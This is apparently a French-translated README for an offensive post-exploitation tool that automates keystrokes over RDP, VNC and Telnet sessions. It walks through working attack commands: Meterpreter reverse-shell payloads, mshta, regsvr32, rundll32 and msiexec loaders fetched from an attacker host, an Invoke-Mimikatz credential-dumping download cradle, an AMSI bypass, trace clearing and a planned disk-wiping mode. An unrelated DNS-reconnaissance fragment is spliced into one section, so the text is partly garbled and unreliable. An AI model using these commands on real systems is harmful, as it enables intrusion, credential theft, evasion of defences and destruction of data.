RemoteKeyStrokes

Un script pour automatiser les frappes clavier via une session de bureau à distance active, aidant les opérateurs offensifs en combinaison avec des techniques de « living off the land ». Tout le mérite revient à nopernik pour avoir rendu cela possible, et j’ai donc pris sur moi de l’améliorer. Je voulais quelque chose qui aide pendant la phase de post-exploitation lors de l’exécution de commandes via un bureau à distance. Cela a également permis la réalisation du projet SCPA pour collecter des ressources de manière organisée.

Fonctionnalités

• Exécution de commandes
• Transfert de fichiers
• Élévation de privilèges (à venir)
• Persistance (à venir)
• Anti-forensique (à venir)
• Chaos (à venir)

Installation

Dépendances

Installez le reste des dépendances selon votre gestionnaire de paquets.``` $ sudo apt install -y xfreerdp-x11 remmina xdotool

$ sudo dnf install -y xdotool freerdp-2 remmina

$ sudo pacman -S freerdp remmina xdotool

$ sudo emerge xwayland freerdp remmina xdotool

$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina

### Setup

Installez le programme dans le système et créez `rks` comme un lien symbolique de `remotekeystrokes`. Cela sera utilisé comme alias de commande.```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks

Menu d'aide```

$ remotekeystrokes -h Usage: remotekeystrokes

Flags:

COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute

-p, --platform <operating_system>   Specify the operating system ("windows" is
                                    set by default if not specified)

-w, --windowname <window_name>      Specify the window name to focus on the
                                    active window ("freerdp" is set by default
                                    if not specified)

-h, --help                          Display this help message

UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer

METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"

-s, --submethod <submethod>         Specify a submethod from a method (applies
                                    with -m flag)

-a, --action <action>               Specify an action from a method and/or
                                    submethod (applies with -m and/or -s flag)

-e, --evasion <evasion>             Specify an evasion method for uploading files
                                    (only works for "pwshb64")

## Utilisation

### 0x00 - Authentification à distance

#### Légendes

- Le signe dollar (`$`) indique une invite de shell Unix avec des privilèges d'utilisateur normal, et il inclut des commandes.

- Les chevrons (`<>`) signifient des paramètres obligatoires.

- Les crochets (`[]`) signifient des paramètres facultatifs s'il n'est pas nécessaire de les spécifier.

#### RDP

Pour authentifier les systèmes d'exploitation modernes, spécifiez l'indicateur soit pour forcer l'authentification en TLS `/sec:tls` ou l'authentification en NLA `/sec:nla`.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]

Pour authentifier les systèmes d'exploitation hérités, spécifiez le drapeau /sec:rdp pour forcer l'ancienne authentification.``` $ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]

#### VNC

Pour authentifier à distance une machine VNC.```
$ remmina -c vnc://<username>:<password>@<IP>

SSH```

$ ssh [-p ] @

#### Telnet```
$ telnet <IP> [PORT]

Lors de l'utilisation de RemoteKeyStrokes

Pour utiliser remotekeystrokes (ou une commande alias rks) lors de l'exécution de commandes sur la cible Windows avec une session distante authentifiée. Avant de les exécuter, vous devez naviguer avec un nom de fenêtre (-w) ; par défaut, il cherchera FreeRDP lors de l'utilisation de xfreerdp. Lorsque vous ciblez des systèmes avec un programme de connexion distant différent, assurez-vous de spécifier le nom de la fenêtre. Spécifiez le drapeau -c pour exécuter des commandes. Vous pouvez également préparer un fichier texte pour insérer des commandes et il les lira une par une. Le drapeau vérifiera s'il s'agit d'une chaîne ou d'un fichier.

Pour les programmes graphiques de bureau à distance tels que FreeRDP, Remmina et autres programmes tiers. Contrairement aux sessions de terminal distant comme telnet et ssh, vous devez déplacer le curseur vers une application active sur la machine cible. Par exemple, dans un environnement Windows, vous devez ouvrir une invite de commandes (cmd.exe) ou powershell (powershell.exe). Il est possible pour Windows d'ouvrir des programmes avec une boîte de dialogue (-m dialogbox) pour un lancement rapide. Assurez-vous d'effacer les traces de l'entrée de registre lorsque vous avez initialement exécuté avec cette méthode. Elle se trouve dans HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Vous verrez des exemples de la manière dont vous pourrez effectuer des mesures offensives rapides avec seulement des techniques Living off the Land (LotL).

0x01 - Reconnaissance interne

Invite de commandes

Énumération de la machine locale.``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo

$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!

$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!

Pour exécuter en une seule commande. C'est concis surtout lors de l'utilisation avec une boîte de dialogue.```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!

Énumération de l'Active Directory.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain

$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!

$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!

Pour exécuter en une seule commande. Ceci est concis surtout lorsqu'on utilise avec une boîte de dialogue.```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!

Powershell

Énumération de la machine locale (TODO)``` $ cat recon_local_enum_cmdlets.txt

$ rks -c "powershell.exe" -m dialogbox

$ rks -c recon_local_enum_cmdlets.txt

Énumération Active directory (TODO)```
$ cat recon_ad_enum_cmdlets.txt

$ rks -c "powershell.exe" -m dialogbox

$ rks -c recon_ad_enum_cmdlets.txt

0x02 - Exécuter le payload

Windows

Exécutez le payload tout en lisant le contenu du PowerShell.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1

$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"

$ rks -c "powershell.exe" -m dialogbox

$ rks -c payload.ps1

Exécutez une charge utile PowerShell en une ligne en utilisant le module d'exploitation `metasploit-framework` `exploit/multi/script/web_delivery`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "cmd.exe" -m dialogbox

$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"

Exécutez la charge utile avec msiexec.exe tout en hébergeant un serveur web.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi

$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"

$ sudo python -m http.server 80

$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox

Exécutez la charge utile avec `mshta.exe` en utilisant le module d'exploit `metasploit-framework` `exploit/windows/misc/hta_server`.```
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"

$ rks -c "mshta.exe http://<attacker_IP>:<attacker_PORT>/payload.hta" -m dialogbox

Exécutez la charge utile avec rundll32.exe en utilisant metasploit-framework module d'exploitation exploit/windows/smb/smb_delivery.``` $ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set file_name payload.dll; set share staging; run"

$ rks -c "rundll32.exe \<attacker_IP>\staging\payload.dll,0" -m dialogbox

Exécutez la charge utile avec `regsvr32.exe` en utilisant `metasploit-framework` module d'exploitation `exploit/multi/script/web_delivery`.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "regsvr32 /s /n /u /i://http://<attacker_IP>:<attacker_PORT>/payload.sct scrobj.dll" -m dialogbox

Multiplateforme

Exécuter et implanter avec python en utilisant le module d'exploitation metasploit-framework exploit/multi/script/web_delivery.``` $ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 0; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"

$ rks -c "python -c """

### 0x03 - Transfert de fichiers

Il y a 11 méthodes de transfert de fichiers au total.

|     Method     |      Platform     | Description |
| -------------- | ----------------- | ----------- |
|   `pwshb64`    | Windows et Linux | Encode le fichier en base64 puis le décode avec powershell. |
|    `cmdb64`    |      Windows      | Utilise `copy con` pour afficher le contenu du fichier encodé en base64 puis le décode avec `CertUtil.exe`. |
|    `nixb64`    |       Unix        | Décode le contenu base64 dans un fichier. |
|   `outfile`    | Windows et Linux | Utilise l'applet de commande `Out-File` pour écrire le fichier texte. |
|  `outfileb64`  |      Windows      | Utilise l'applet de commande `Out-File` pour écrire le contenu du fichier encodé en base64 puis le décode avec `CertUtil.exe`. |
|   `copycon`    |      Windows      | Utilise la commande `copy con` pour écrire le fichier texte. |
|   `pwshhex`    | Windows et Linux | Encode le fichier en hexadécimal puis le décode avec powershell. |
|    `cmdhex`    |      Windows      | Sortie d'une ligne unique encodée en hexadécimal dans une variable puis la décode avec `CertUtil.exe`. |
|  `copyconhex`  |      Windows      | Utilise `copy con` pour afficher le contenu du fichier hexdump encodé puis le décode avec `CertUtil.exe`. |
|   `nixhex`     |       Unix        | Sortie d'une ligne unique encodée en hexadécimal dans une variable puis la décode avec `echo -e` pour interpréter la séquence de caractères `\x`. Ceci est adapté pour les appareils IoT, surtout lorsque Telnet ne permet pas de transférer des fichiers. |
|  `outfilehex`  |      Windows      | Utilise l'applet de commande `Out-File` pour écrire le contenu du fichier hexdump encodé puis le décode avec `CertUtil.exe`. |

Téléchargez un fichier à distance lors d'un pivot dans un réseau isolé. Si vous souhaitez spécifier le chemin distant sous Windows, assurez-vous d'inclure des guillemets. Par défaut, il utilise Powershell base64 pour transférer les fichiers si rien n'est spécifié. Cela inclut également les droppers même si la taille est grande. Gardez à l'esprit que le transfert du fichier prendra du temps.```
$ rks -c "powershell.exe" -m dialogbox

$ rks -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64
[*] Transferring file...
[+] File transferred!

Pour transférer des droppers vous pouvez utiliser CertUtil.exe base64 surtout s'il est volumineux.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=8443 -f exe -o payload.exe

Pour transférer des droppers avec PowerShell via `CertUtil.exe` base64.```
$ rks -c "powershell.exe" -m dialogbox

$ rks -i payload.exe -o payload.exe -m outfileb64

Il est également possible pour les systèmes d'exploitation hérités de transférer des fichiers comme, Windows XP qui manque de PowerShell sauf pour l'invite de commandes.``` $ rks -c "cmd.exe" -m dialogbox

$ rks -i payload.exe -o payload.exe -m cmdb64

Activez votre C2 listener et exécutez le payload.```
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost <IP>; set lport 8443; run"

$ rks -c ".\payload.exe"

Une autre façon de transférer des fichiers, surtout pour les outils d'administration système et offensifs. Prenons PsExec64.exe comme exemple nécessaire pour le mouvement latéral. Cela prendrait beaucoup de temps à télécharger via du texte sans interruption. Au lieu de cela, la façon la plus rapide est de monter le WebDAV qui appartient au site légitime de la suite d'outils Sysinternals (live.sysinternals.com). Au lieu d'utiliser l'Explorateur de fichiers, qui est beaucoup plus lent que l'exécution de commandes. Voici les commandes pour l'invite de commandes.``` $ cat commands.txt net use z: \live.sysinternals.com\tools copy z:\PsExec64.exe . net use z: /delete

$ rks -c "cmd.exe" -m dialogbox

$ rks -c commands.txt

Voici une autre variante pour les applets de commande PowerShell lors du transfert de `PsExec64.exe` sous Windows.```
$ cat cmdlets.txt
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\live.sysinternals.com\tools"
Copy-Item z:\PsExec64.exe .
Remove-PSDrive -Name Z

$ rks -c "powershell.exe" -m dialogbox

$ rks -c cmdlets.txt

La meilleure façon de récupérer des malwares sans fichier ou des outils offensifs via PowerShell est simplement d'héberger/récupérer des sites web légitimes comme https://github.com et de les exécuter. Utilisons Invoke-Mimikatz pour récupérer des identifiants en téléchargeant et en exécutant le cradle depuis nishang.``` $ cat hashdump.txt IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds

$ rks -c "powershell.exe" -m dialogbox

$ rks -c hashdump.txt

Si vous avez des fichiers volumineux pour lesquels il est presque impossible d'attendre la fin du transfert de fichiers. `xfreerdp` permet de monter un répertoire local avec le drapeau `/drive:/path/to/directory/`. Ensuite, naviguez dans l'explorateur de fichiers ou l'invite de commande vers `\\tsclient\<share_name>\` pour voir le contenu.```
$ mkdir Tools

$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Tools/

$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | rdp | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>] /drive:Tools

$ rks -c "cmd.exe" -m dialogbox

$ rks -c "dir \\tsclient\<share_name>\"

0x04 - Élévation de privilèges

Note: WIP (Travail en cours)``` $ rks -m elevate -s bypassuac -a info

$ rks -m elevate -s <sub_method>

### 0x05 - Persistance

Note: WIP (Travail en cours)```
$ rks -m persistence -s createuser

$ rks -m persistence -s sethc

0x06 - Contournement des défenses

Note : WIP (Travail en cours)

Vous pouvez combiner AMSI Bypass avec l'implant powershell pour contourner Windows Security ou toute solution de sécurité qui a été intégrée au scanner AMSI.``` $ cat amsi_bypass.ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$ cat amsi_bypass.ps1 implant.ps1 > payload.ps1

$ rks -c "powershell.exe" -m dialogbox

$ rks -c payload.ps1

dmitry -p domain.com -f -b

Les outils de base et indispensables incluent dig, nslookup, host et des analyses basées sur navigateur comme :

    Domain Dossier - https://centralops.net/co/
    Kloth - https://www.kloth.net/services/nslookup.php
    Microsoft Sysinternals - https://live.sysinternals.com/
    DNSDumpster - https://dnsdumpster.com/

    **DIG**

    Les requêtes de type « domain ANY » sont généralement bloquées maintenant, sinon vous obtiendriez un dump de tous les enregistrements DNS, ce qui casserait la mise en cache.

    dig domain.com ANY +noall +answer

    **nslookup**

    nslookup -type=any domain.com```
$ rks -m antiforensics -s wevutils

$ rks -m antiforensics -s winevent

$ rks -m antiforensics -s eventvwr

0x07 - Mayhem

Note: WIP (Travail en cours)``` $ rks -m mayhem -s diskpart -a info

$ rks -m mayhem -s diskpart -a cmd

$ rks -m mayhem -s diskpart -a pwsh

### 0x08 - Spécifier le nom de la fenêtre.

Si vous ciblez VNC, Telnet ou d'autres protocoles réseau, vous pouvez spécifier le nom de la fenêtre. Cela est utile notamment si vous utilisez `remmina` ou une autre instance de terminal avec une fenêtre renommée.```
$ rks -c implant.ps1 -w <window_name>

FAQ (Foire Aux Questions)

Qu'est-ce qui m'a poussé à lancer ce projet ?

Il est incroyablement lent lorsque je tape manuellement avec mon clavier ou que je navigue et clique avec ma souris, surtout en dehors du réseau local. Je veux simplement accélérer le processus, en particulier lors de l'infiltration du réseau.

Est-ce strictement destiné uniquement aux bureaux distants graphiques (c'est-à-dire RDP, VNC, etc.) ?

Pas nécessairement. Je l'ai rendu possible pour les consoles distantes telles que Telnet, car il manque une fonctionnalité de transfert de fichiers.

Puis-je utiliser les techniques pour mon projet ou d'autres techniques pour mon propre arsenal ?

Les techniques sont courantes et peuvent être réutilisées pour BadUSB, le développement de logiciels malveillants, ou tout autre projet connexe. Elles sont sous la licence copyleft GNU GPLv3 qui vous permet, en tant qu'utilisateur, d'avoir le droit de voir comment le programme fonctionne, de modifier le code source selon vos besoins, et de le redistribuer à d'autres utilisateurs avec le code source.

Est-il disponible pour le serveur d'affichage wayland ?

Pour l'instant, il n'existe aucun outil wayland compatible pour trouver une alternative ni un remplacement à xdotool. dotool est très prometteur mais il manque une fonctionnalité spécifique pour cibler les fenêtres. kdotool est disponible uniquement pour les environnements de bureau KDE. Je devrai peut-être le réinventer en Go (vu que dotool existe) ou en Python avec la bibliothèque pynput.

Dépannage

L'outil offensif ne fonctionne pas

Lors de la première exécution du programme, il devrait afficher des messages explicites. Passez au serveur de fenêtres x11. Reportez-vous à la FAQ pour savoir pourquoi wayland n'est pas pris en charge.``` $ rks -c "powershell.exe" -m searchbox [ERROR] Wayland isn't supported! [*] Terminating program...

### Désinstaller l'outil offensif

Pour le désinstaller.```
$ sudo rm -f /usr/local/bin/remotekeystrokes /usr/local/bin/rks

TODO et Aide Demandée

• Implémenter la méthode de chiffrement AES256 via base64

• Implémenter le reste des méthodes de téléversement : Base32, Base2, Base10, Base8

• Implémenter la fonction privesc pour Windows et Linux

• Implémenter une fonction de persistance pour Windows et Linux.

• Implémenter une fonction anti-forensique pour Windows et Linux.

• Implémenter la fonction mayhem pour Windows et Linux.

Références

• Vidéo : Livraison de payload CMD par backdoor sethc.exe (style USB Rubber Ducky)

• Script original

• VirtualRubberDucky

• sticky_keys_hunter

Crédits

• nopernik

Avertissement

Il est de votre responsabilité selon la cause de vos actions, utilisateur. Rappelez-vous qu'un grand pouvoir implique de grandes responsabilités.